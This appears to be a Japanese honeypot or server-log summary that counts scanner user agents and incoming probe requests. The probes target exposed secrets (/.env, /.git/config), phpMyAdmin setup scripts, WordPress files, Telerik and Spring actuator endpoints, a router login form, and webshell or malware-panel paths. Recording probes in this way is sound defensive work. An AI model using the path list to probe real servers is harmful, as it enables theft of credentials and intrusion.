4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
1	`python-requests/2.25.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_13.67.44.234_80`
1		`REGISTER`	sip:13.67.44.234:80 SIP/2.0
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\t\x01`
1		`\x16\x03\x01\x01\xfb\x01`
17		`\x16\x03\x01`
1	CONNECT	`blank[.]org:443`	HTTP/1.1
19	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/.svn/`	HTTP/1.1
2	GET	`//.env`	HTTP/1.1
1	GET	`//MyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`//myadmin/scripts/setup.php`	HTTP/1.1
1	GET	`//phpMyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`//phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`//pma/scripts/setup.php`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/lo863rCJZFjnKvXyDHaqWb0tBko`	HTTP/1.1
1	GET	`/muieblackcat`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
3	PRI	`*`	HTTP/2.0